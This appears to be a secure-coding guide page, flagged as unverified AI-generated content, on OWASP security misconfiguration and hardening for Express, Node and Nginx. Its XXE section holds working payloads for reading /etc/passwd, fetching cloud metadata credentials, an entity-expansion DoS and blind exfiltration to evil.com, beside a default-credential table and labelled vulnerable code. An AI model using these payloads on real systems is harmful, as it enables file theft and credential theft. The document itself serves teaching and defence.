Skip to content
Unverified — AI-generated content. Help verify this page

A05: Security Misconfiguration ​

Security misconfiguration is the most commonly seen issue in the OWASP Top 10. It is frequently the result of insecure default configurations, incomplete or ad-hoc configurations, open cloud storage, misconfigured HTTP headers, verbose error messages containing sensitive information, or unnecessary services, pages, accounts, or privileges left enabled.

1. Default Credentials ​

Default credentials are the most basic security misconfiguration. Many services ship with well-known default usernames and passwords. If these are not changed before deployment, attackers can gain access simply by trying the defaults.

Common Default Credentials ​

ServiceDefault UsernameDefault Password
MongoDB(no auth required)(no auth required)
Redis(no auth required)(no auth required)
Elasticsearchelasticchangeme
RabbitMQguestguest
Jenkinsadmin(generated on first run)
Grafanaadminadmin
pgAdminadmin@admin.comadmin
MySQLroot(empty)
phpMyAdminroot(empty)
Spring Boot Actuator(no auth by default)(no auth by default)

Detection ​

typescript
// Automated check for default credentials
interface CredentialCheck {
  service: string;
  host: string;
  port: number;
  defaultCredentials: Array<{ username: string; password: string }>;
}

const checks: CredentialCheck[] = [
  {
    service: 'MongoDB',
    host: 'localhost',
    port: 27017,
    defaultCredentials: [
      { username: '', password: '' }, // No auth
    ],
  },
  {
    service: 'Redis',
    host: 'localhost',
    port: 6379,
    defaultCredentials: [
      { username: '', password: '' }, // No auth
    ],
  },
  {
    service: 'RabbitMQ',
    host: 'localhost',
    port: 15672,
    defaultCredentials: [
      { username: 'guest', password: 'guest' },
    ],
  },
];

// Run this as part of your deployment verification
async function checkDefaultCredentials(checks: CredentialCheck[]): Promise<void> {
  for (const check of checks) {
    for (const cred of check.defaultCredentials) {
      const vulnerable = await testCredentials(check.service, check.host, check.port, cred);
      if (vulnerable) {
        logger.error(`DEFAULT CREDENTIALS DETECTED: ${check.service} at ${check.host}:${check.port}`);
        throw new Error(`Default credentials found on ${check.service}`);
      }
    }
  }
}

Prevention ​

bash
# MongoDB: Enable authentication
mongosh --eval 'db.createUser({user:"admin",pwd:passwordPrompt(),roles:["root"]})'

# Redis: Set a password
# In redis.conf:
# requirepass YOUR_STRONG_PASSWORD_HERE
# rename-command CONFIG ""
# rename-command FLUSHALL ""
# rename-command FLUSHDB ""

# Elasticsearch: Enable security
# In elasticsearch.yml:
# xpack.security.enabled: true
# xpack.security.transport.ssl.enabled: true

2. Unnecessary Features and Services ​

Unused features increase the attack surface. Every enabled feature, open port, and installed package is a potential entry point for attackers.

Vulnerable Configuration ​

typescript
// VULNERABLE: Express with unnecessary middleware
import express from 'express';

const app = express();

// Debug routes left in production
app.get('/debug/env', (req, res) => {
  res.json(process.env); // Exposes ALL environment variables
});

app.get('/debug/heap', (req, res) => {
  const usage = process.memoryUsage();
  res.json(usage);
});

// Stack traces in error responses
app.use((err: Error, req: express.Request, res: express.Response, next: express.NextFunction) => {
  res.status(500).json({
    error: err.message,
    stack: err.stack, // Full stack trace exposed
  });
});

// x-powered-by header reveals technology
// Express sends "X-Powered-By: Express" by default

Secure Configuration ​

typescript
import express from 'express';
import helmet from 'helmet';

const app = express();

// Remove the X-Powered-By header
app.disable('x-powered-by');

// Or use helmet which does this automatically along with other headers
app.use(helmet());

// Remove debug routes in production
if (process.env.NODE_ENV !== 'production') {
  app.get('/debug/env', requireRole('developer'), (req, res) => {
    // Even in dev, only show non-sensitive env vars
    const safeVars = Object.fromEntries(
      Object.entries(process.env).filter(
        ([key]) => !key.match(/SECRET|PASSWORD|KEY|TOKEN|CREDENTIAL/i)
      )
    );
    res.json(safeVars);
  });
}

// Production error handler — never expose stack traces
app.use((err: Error, req: express.Request, res: express.Response, next: express.NextFunction) => {
  const requestId = req.headers['x-request-id'] || crypto.randomUUID();

  // Log the full error internally
  logger.error('Unhandled error', {
    requestId,
    error: err.message,
    stack: err.stack,
    path: req.path,
    method: req.method,
    userId: (req as any).user?.id,
  });

  // Return a generic error to the client
  res.status(500).json({
    error: 'Internal server error',
    requestId, // Include request ID so support can correlate
  });
});

3. Verbose Error Messages ​

Error messages that reveal implementation details help attackers understand the system architecture, identify technologies, and craft targeted attacks.

Vulnerable Error Responses ​

json
// Database error exposed to client
{
  "error": "SequelizeDatabaseError: relation \"users\" does not exist",
  "sql": "SELECT * FROM users WHERE email = 'test@example.com'",
  "stack": "Error\n    at Query.run (/app/node_modules/sequelize/...)"
}

// Authentication error revealing user existence
{
  "error": "Password incorrect for user admin@example.com"
}
// vs.
{
  "error": "No account found with email hacker@evil.com"
}
// The different messages reveal whether an email is registered

// Version information in error
{
  "error": "Error in Express 4.18.2 / Node.js v18.17.0"
}

Secure Error Handling ​

typescript
// Centralized error handling with classification
enum ErrorType {
  VALIDATION = 'VALIDATION',
  AUTHENTICATION = 'AUTHENTICATION',
  AUTHORIZATION = 'AUTHORIZATION',
  NOT_FOUND = 'NOT_FOUND',
  CONFLICT = 'CONFLICT',
  RATE_LIMIT = 'RATE_LIMIT',
  INTERNAL = 'INTERNAL',
}

class AppError extends Error {
  public readonly type: ErrorType;
  public readonly statusCode: number;
  public readonly isOperational: boolean;

  constructor(
    type: ErrorType,
    message: string,
    statusCode: number,
    isOperational: boolean = true
  ) {
    super(message);
    this.type = type;
    this.statusCode = statusCode;
    this.isOperational = isOperational;
  }
}

// Map error types to client-safe messages
const ERROR_MESSAGES: Record<ErrorType, string> = {
  [ErrorType.VALIDATION]: 'Invalid request data',
  [ErrorType.AUTHENTICATION]: 'Invalid credentials',
  [ErrorType.AUTHORIZATION]: 'Forbidden',
  [ErrorType.NOT_FOUND]: 'Resource not found',
  [ErrorType.CONFLICT]: 'Resource conflict',
  [ErrorType.RATE_LIMIT]: 'Too many requests',
  [ErrorType.INTERNAL]: 'Internal server error',
};

app.use((err: Error, req: express.Request, res: express.Response, next: express.NextFunction) => {
  const requestId = crypto.randomUUID();

  if (err instanceof AppError && err.isOperational) {
    // Operational errors — safe to show type to client
    logger.warn('Operational error', {
      requestId,
      type: err.type,
      message: err.message,
      path: req.path,
    });

    return res.status(err.statusCode).json({
      error: ERROR_MESSAGES[err.type],
      requestId,
    });
  }

  // Programming errors — log full details, show generic message
  logger.error('Unexpected error', {
    requestId,
    error: err.message,
    stack: err.stack,
    path: req.path,
    method: req.method,
  });

  res.status(500).json({
    error: 'Internal server error',
    requestId,
  });
});

// SECURE: Generic authentication error — same message for wrong email AND wrong password
app.post('/api/login', async (req, res) => {
  const { email, password } = req.body;

  const user = await findUserByEmail(email);

  if (!user) {
    // Dummy hash to prevent timing attack
    await argon2.hash(password);
    throw new AppError(ErrorType.AUTHENTICATION, 'Invalid credentials', 401);
  }

  const valid = await argon2.verify(user.passwordHash, password);

  if (!valid) {
    throw new AppError(ErrorType.AUTHENTICATION, 'Invalid credentials', 401);
  }

  // ... generate token
});

4. Missing Security Headers ​

HTTP security headers instruct browsers to enable or disable specific security features. Missing headers leave users vulnerable to various attacks.

Complete Security Headers Configuration ​

typescript
import helmet from 'helmet';
import crypto from 'crypto';

// Generate a nonce for each request (for CSP)
app.use((req, res, next) => {
  res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
  next();
});

app.use(
  helmet({
    // Content Security Policy
    contentSecurityPolicy: {
      directives: {
        defaultSrc: ["'self'"],
        scriptSrc: [
          "'self'",
          (req: any, res: any) => `'nonce-${res.locals.cspNonce}'`,
        ],
        styleSrc: [
          "'self'",
          (req: any, res: any) => `'nonce-${res.locals.cspNonce}'`,
        ],
        imgSrc: ["'self'", 'data:', 'https:'],
        fontSrc: ["'self'"],
        connectSrc: ["'self'", 'https://api.example.com'],
        frameSrc: ["'none'"],
        objectSrc: ["'none'"],
        baseUri: ["'self'"],
        formAction: ["'self'"],
        frameAncestors: ["'none'"],
        upgradeInsecureRequests: [],
      },
    },

    // Strict-Transport-Security
    hsts: {
      maxAge: 31536000,        // 1 year in seconds
      includeSubDomains: true,
      preload: true,
    },

    // X-Content-Type-Options: nosniff
    // Prevents MIME type sniffing
    noSniff: true,

    // Referrer-Policy
    referrerPolicy: {
      policy: 'strict-origin-when-cross-origin',
    },

    // X-Frame-Options
    frameguard: {
      action: 'deny',
    },

    // X-DNS-Prefetch-Control
    dnsPrefetchControl: {
      allow: false,
    },

    // X-Download-Options (IE-specific)
    ieNoOpen: true,

    // X-Permitted-Cross-Domain-Policies
    permittedCrossDomainPolicies: {
      permittedPolicies: 'none',
    },

    // Disable X-Powered-By
    hidePoweredBy: true,

    // Cross-Origin-Opener-Policy
    crossOriginOpenerPolicy: {
      policy: 'same-origin',
    },

    // Cross-Origin-Resource-Policy
    crossOriginResourcePolicy: {
      policy: 'same-origin',
    },

    // Cross-Origin-Embedder-Policy
    crossOriginEmbedderPolicy: {
      policy: 'require-corp',
    },

    // Origin-Agent-Cluster
    originAgentCluster: true,
  })
);

// Additional headers not covered by helmet
app.use((req, res, next) => {
  // Permissions Policy (formerly Feature Policy)
  res.setHeader('Permissions-Policy',
    'accelerometer=(), camera=(), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), payment=(), usb=()'
  );

  // Cache-Control for sensitive pages
  if (req.path.startsWith('/api/') || req.path.startsWith('/account')) {
    res.setHeader('Cache-Control', 'no-store, no-cache, must-revalidate, private');
    res.setHeader('Pragma', 'no-cache');
    res.setHeader('Expires', '0');
  }

  next();
});

Security Headers Reference ​

HeaderPurposeRecommended Value
Content-Security-PolicyPrevent XSS, data injectionSee CSP section
Strict-Transport-SecurityForce HTTPSmax-age=31536000; includeSubDomains; preload
X-Content-Type-OptionsPrevent MIME sniffingnosniff
X-Frame-OptionsPrevent clickjackingDENY
Referrer-PolicyControl referrer informationstrict-origin-when-cross-origin
Permissions-PolicyDisable browser featuresDisable unused features
Cross-Origin-Opener-PolicyIsolate browsing contextsame-origin
Cross-Origin-Resource-PolicyPrevent cross-origin readssame-origin
Cache-ControlPrevent caching of sensitive datano-store

5. XML External Entity (XXE) Attacks ​

XXE attacks exploit XML parsers that process external entity references. An attacker can use XXE to read arbitrary files, perform SSRF, or cause denial of service.

Vulnerable Code ​

typescript
import { parseString } from 'xml2js';
import libxmljs from 'libxmljs';

// VULNERABLE: XML parser with external entities enabled
app.post('/api/import', (req: Request, res: Response) => {
  const xmlData = req.body;

  // xml2js is generally safe by default, but some parsers are not
  parseString(xmlData, (err, result) => {
    if (err) {
      return res.status(400).json({ error: 'Invalid XML' });
    }
    res.json(result);
  });
});

// VULNERABLE: libxmljs with default settings allows external entities
app.post('/api/parse', (req: Request, res: Response) => {
  const doc = libxmljs.parseXml(req.body.toString(), {
    // External entities are enabled by default in some configurations
    noent: true,    // Expand entities — DANGEROUS
    dtdload: true,  // Load DTDs — DANGEROUS
  });

  res.json({ root: doc.root()?.name() });
});

Exploitation ​

xml
<!-- File disclosure via external entity -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<order>
  <item>&xxe;</item>
</order>

<!-- SSRF via external entity -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<order>
  <item>&xxe;</item>
</order>

<!-- Billion Laughs DoS (entity expansion bomb) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<data>&lol9;</data>
<!-- Expands to ~3 GB of "lol" strings from a few hundred bytes of XML -->

<!-- Blind XXE with out-of-band data exfiltration -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://evil.com/xxe.dtd">
  %dtd;
]>
<data>&send;</data>

<!-- evil.com/xxe.dtd contains: -->
<!-- <!ENTITY % all "<!ENTITY send SYSTEM 'http://evil.com/collect?data=%file;'>"> -->
<!-- %all; -->

Secure Code ​

typescript
import { parseString } from 'xml2js';

// SECURE: Disable DTDs and external entities
app.post('/api/import', (req: Request, res: Response) => {
  const xmlData = req.body;

  // Quick check: reject XML with DOCTYPE declarations
  if (xmlData.includes('<!DOCTYPE') || xmlData.includes('<!ENTITY')) {
    return res.status(400).json({ error: 'DTD declarations are not allowed' });
  }

  parseString(xmlData, {
    explicitRoot: true,
    // xml2js options to prevent XXE
    // xml2js uses sax parser internally, which doesn't process external entities
    // but we add explicit checks for defense in depth
  }, (err, result) => {
    if (err) {
      return res.status(400).json({ error: 'Invalid XML' });
    }
    res.json(result);
  });
});

// BETTER: Use JSON instead of XML wherever possible
app.post('/api/import-json', (req: Request, res: Response) => {
  // JSON has no equivalent of external entities
  const data = req.body; // express.json() middleware parses safely
  res.json(data);
});

// If you must use libxmljs:
import libxmljs from 'libxmljs';

app.post('/api/parse-safe', (req: Request, res: Response) => {
  try {
    const doc = libxmljs.parseXml(req.body.toString(), {
      noent: false,     // Do NOT expand entities
      dtdload: false,   // Do NOT load DTDs
      dtdvalid: false,  // Do NOT validate against DTD
      nonet: true,      // Do NOT allow network access
      nocdata: false,
      noblanks: true,
    });

    res.json({ root: doc.root()?.name() });
  } catch (err) {
    res.status(400).json({ error: 'Invalid XML' });
  }
});

6. Directory Listing ​

When directory listing is enabled on a web server, attackers can browse the server's file structure and discover sensitive files.

Nginx — Disable Directory Listing ​

nginx
# VULNERABLE
server {
    listen 80;
    server_name example.com;

    location / {
        root /var/www/html;
        autoindex on;  # DANGEROUS: enables directory listing
    }
}

# SECURE
server {
    listen 443 ssl http2;
    server_name example.com;

    location / {
        root /var/www/html;
        autoindex off;  # Disable directory listing (this is the default)
        index index.html;

        # Return 404 for missing files instead of showing directory
        try_files $uri $uri/ =404;
    }

    # Block access to hidden files and directories
    location ~ /\. {
        deny all;
        return 404;
    }

    # Block access to sensitive file types
    location ~* \.(env|git|sql|bak|log|yml|yaml|toml|ini|conf|config|sh)$ {
        deny all;
        return 404;
    }

    # Block access to common sensitive paths
    location ~* ^/(\.git|\.env|\.svn|\.hg|wp-admin|phpMyAdmin|adminer) {
        deny all;
        return 404;
    }
}

Node.js Hardening Checklist ​

typescript
// 1. Set NODE_ENV to production
// Ensures Express uses production defaults and disables debug features
if (process.env.NODE_ENV !== 'production') {
  throw new Error('NODE_ENV must be "production" in production');
}

// 2. Limit request body size
app.use(express.json({ limit: '100kb' }));
app.use(express.urlencoded({ extended: false, limit: '100kb' }));

// 3. Set request timeout
import { createServer } from 'http';
const server = createServer(app);
server.timeout = 30000;        // 30 seconds
server.headersTimeout = 31000; // Slightly more than timeout
server.keepAliveTimeout = 5000;

// 4. Disable unnecessary HTTP methods
app.use((req, res, next) => {
  const allowedMethods = ['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'OPTIONS', 'HEAD'];
  if (!allowedMethods.includes(req.method)) {
    return res.status(405).json({ error: 'Method not allowed' });
  }
  next();
});

// 5. Prevent parameter pollution
import hpp from 'hpp';
app.use(hpp());

// 6. Limit URL and header size
const server = createServer({
  maxHeaderSize: 8192,        // 8 KB (default is 16 KB)
}, app);

// 7. Use process-level security
// Run Node.js as a non-root user
// Use --frozen-intrinsics flag to prevent prototype pollution
// node --frozen-intrinsics app.js

// 8. Configure trust proxy correctly
// Only trust the specific proxy IPs, not all proxies
app.set('trust proxy', ['loopback', '10.0.0.0/8']);
// NEVER use: app.set('trust proxy', true); // Trusts ALL proxies

// 9. Enforce HTTPS in production
app.use((req, res, next) => {
  if (
    process.env.NODE_ENV === 'production' &&
    req.headers['x-forwarded-proto'] !== 'https'
  ) {
    return res.redirect(301, `https://${req.hostname}${req.url}`);
  }
  next();
});

// 10. Set secure cookie defaults
app.use(session({
  secret: process.env.SESSION_SECRET!,
  name: '__Host-sid',  // __Host- prefix enforces secure + path=/
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,
    httpOnly: true,
    sameSite: 'strict',
    maxAge: 3600000,     // 1 hour
    path: '/',
    domain: undefined,   // Don't set domain — defaults to exact host
  },
  store: new RedisStore({ client: redisClient }),
}));

Express.js Hardening Checklist ​

typescript
import express from 'express';
import helmet from 'helmet';
import cors from 'cors';
import rateLimit from 'express-rate-limit';
import compression from 'compression';

const app = express();

// ═══════════════════════════════════════════════════════
// 1. DISABLE DANGEROUS DEFAULTS
// ═══════════════════════════════════════════════════════
app.disable('x-powered-by');
app.disable('etag'); // Prevent information leakage via ETags

// ═══════════════════════════════════════════════════════
// 2. SECURITY HEADERS (helmet)
// ═══════════════════════════════════════════════════════
app.use(helmet(/* see security headers section above */));

// ═══════════════════════════════════════════════════════
// 3. CORS — STRICT ALLOWLIST
// ═══════════════════════════════════════════════════════
const ALLOWED_ORIGINS = new Set([
  'https://app.example.com',
  'https://admin.example.com',
]);

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || ALLOWED_ORIGINS.has(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE', 'PATCH'],
  maxAge: 86400,
}));

// ═══════════════════════════════════════════════════════
// 4. RATE LIMITING
// ═══════════════════════════════════════════════════════
const globalLimiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100,
  standardHeaders: true,
  legacyHeaders: false,
  message: { error: 'Too many requests' },
});

const authLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 10, // Stricter for auth endpoints
  skipSuccessfulRequests: true,
  message: { error: 'Too many authentication attempts' },
});

app.use(globalLimiter);
app.use('/api/auth', authLimiter);

// ═══════════════════════════════════════════════════════
// 5. BODY PARSING LIMITS
// ═══════════════════════════════════════════════════════
app.use(express.json({ limit: '100kb' }));
app.use(express.urlencoded({ extended: false, limit: '100kb', parameterLimit: 50 }));

// ═══════════════════════════════════════════════════════
// 6. COMPRESSION (with security consideration)
// ═══════════════════════════════════════════════════════
app.use(compression({
  filter: (req, res) => {
    // Don't compress responses that include secrets
    // BREACH attack exploits compression + CSRF to extract secrets
    if (req.headers['x-no-compression']) return false;
    return compression.filter(req, res);
  },
  threshold: 1024, // Only compress responses larger than 1 KB
}));

// ═══════════════════════════════════════════════════════
// 7. REQUEST ID FOR TRACING
// ═══════════════════════════════════════════════════════
app.use((req, res, next) => {
  const requestId = req.headers['x-request-id'] as string || crypto.randomUUID();
  req.headers['x-request-id'] = requestId;
  res.setHeader('X-Request-ID', requestId);
  next();
});

Nginx Hardening Configuration ​

nginx
# /etc/nginx/nginx.conf

user nginx;
worker_processes auto;
pid /run/nginx.pid;

events {
    worker_connections 1024;
    multi_accept on;
}

http {
    # ═══════════════════════════════════════════
    # BASIC SECURITY
    # ═══════════════════════════════════════════

    # Hide Nginx version
    server_tokens off;

    # Prevent clickjacking
    add_header X-Frame-Options "DENY" always;

    # Prevent MIME type sniffing
    add_header X-Content-Type-Options "nosniff" always;

    # XSS protection
    add_header X-XSS-Protection "0" always;
    # Note: X-XSS-Protection is deprecated; use CSP instead

    # Referrer policy
    add_header Referrer-Policy "strict-origin-when-cross-origin" always;

    # Permissions policy
    add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;

    # HSTS
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

    # ═══════════════════════════════════════════
    # SSL/TLS
    # ═══════════════════════════════════════════

    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers 'TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384';
    ssl_prefer_server_ciphers on;
    ssl_session_timeout 1d;
    ssl_session_cache shared:SSL:50m;
    ssl_session_tickets off;

    # OCSP stapling
    ssl_stapling on;
    ssl_stapling_verify on;
    resolver 1.1.1.1 8.8.8.8 valid=300s;
    resolver_timeout 5s;

    # DH parameters (generate with: openssl dhparam -out /etc/nginx/dhparam.pem 4096)
    ssl_dhparam /etc/nginx/dhparam.pem;

    # ═══════════════════════════════════════════
    # REQUEST LIMITS
    # ═══════════════════════════════════════════

    # Limit request body size
    client_max_body_size 10m;

    # Limit buffer sizes
    client_body_buffer_size 16k;
    client_header_buffer_size 1k;
    large_client_header_buffers 4 8k;

    # Timeouts
    client_body_timeout 12;
    client_header_timeout 12;
    keepalive_timeout 15;
    send_timeout 10;

    # Rate limiting zones
    limit_req_zone $binary_remote_addr zone=general:10m rate=10r/s;
    limit_req_zone $binary_remote_addr zone=login:10m rate=1r/s;
    limit_req_zone $binary_remote_addr zone=api:10m rate=30r/s;

    # Connection limiting
    limit_conn_zone $binary_remote_addr zone=addr:10m;

    # ═══════════════════════════════════════════
    # LOGGING
    # ═══════════════════════════════════════════

    # Custom log format with security-relevant fields
    log_format security '$remote_addr - $remote_user [$time_local] '
                        '"$request" $status $body_bytes_sent '
                        '"$http_referer" "$http_user_agent" '
                        '$request_time $upstream_response_time '
                        '$ssl_protocol $ssl_cipher';

    access_log /var/log/nginx/access.log security;
    error_log /var/log/nginx/error.log warn;

    # ═══════════════════════════════════════════
    # SERVER BLOCK
    # ═══════════════════════════════════════════

    # Redirect HTTP to HTTPS
    server {
        listen 80;
        server_name example.com www.example.com;
        return 301 https://$server_name$request_uri;
    }

    # Default server — reject requests without valid Host header
    server {
        listen 443 ssl default_server;
        server_name _;
        ssl_certificate /etc/nginx/ssl/default.crt;
        ssl_certificate_key /etc/nginx/ssl/default.key;
        return 444; # Close connection without response
    }

    # Application server
    server {
        listen 443 ssl http2;
        server_name example.com;

        ssl_certificate /etc/nginx/ssl/example.com.crt;
        ssl_certificate_key /etc/nginx/ssl/example.com.key;

        # Rate limiting
        limit_req zone=general burst=20 nodelay;
        limit_conn addr 10;

        # Block access to hidden files
        location ~ /\. {
            deny all;
            return 404;
        }

        # Block access to sensitive files
        location ~* \.(env|git|sql|bak|log|yml|yaml|toml|ini|conf)$ {
            deny all;
            return 404;
        }

        # API proxy
        location /api/ {
            limit_req zone=api burst=50 nodelay;

            proxy_pass http://127.0.0.1:3000;
            proxy_http_version 1.1;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
            proxy_set_header X-Request-ID $request_id;

            # Prevent request smuggling
            proxy_set_header Connection "";

            # Timeouts
            proxy_connect_timeout 5s;
            proxy_send_timeout 30s;
            proxy_read_timeout 30s;
        }

        # Login endpoint with strict rate limiting
        location /api/auth/login {
            limit_req zone=login burst=5 nodelay;
            proxy_pass http://127.0.0.1:3000;
            proxy_http_version 1.1;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;
        }

        # Static files with caching
        location /static/ {
            root /var/www;
            expires 1y;
            add_header Cache-Control "public, immutable";
            access_log off;
        }
    }
}

Prevention Checklist ​

  • [ ] Change all default credentials before deployment
  • [ ] Remove debug endpoints and test accounts from production
  • [ ] Disable unnecessary HTTP methods, features, and services
  • [ ] Set all security headers (CSP, HSTS, X-Content-Type-Options, etc.)
  • [ ] Return generic error messages — log details server-side only
  • [ ] Disable XML external entity processing
  • [ ] Disable directory listing on web servers
  • [ ] Harden Node.js, Express, and Nginx configurations
  • [ ] Set request body size limits and timeouts
  • [ ] Implement rate limiting on all public endpoints
  • [ ] Use helmet middleware in Express applications
  • [ ] Hide technology information (X-Powered-By, Server header, stack traces)
  • [ ] Run automated configuration scanners (Mozilla Observatory, SSL Labs, SecurityHeaders.com)
  • [ ] Review configurations as part of the deployment pipeline
  • [ ] Maintain a hardening baseline and drift detection

References ​

  • CWE-2: Environmental Security Flaws
  • CWE-16: Configuration
  • CWE-388: Error Handling
  • CWE-611: Improper Restriction of XML External Entity Reference
  • OWASP Secure Headers Project
  • Mozilla Web Security Guidelines
  • CIS Benchmarks for Node.js and Nginx
  • NIST SP 800-123: Guide to General Server Security

"What I cannot create, I do not understand." — Richard Feynman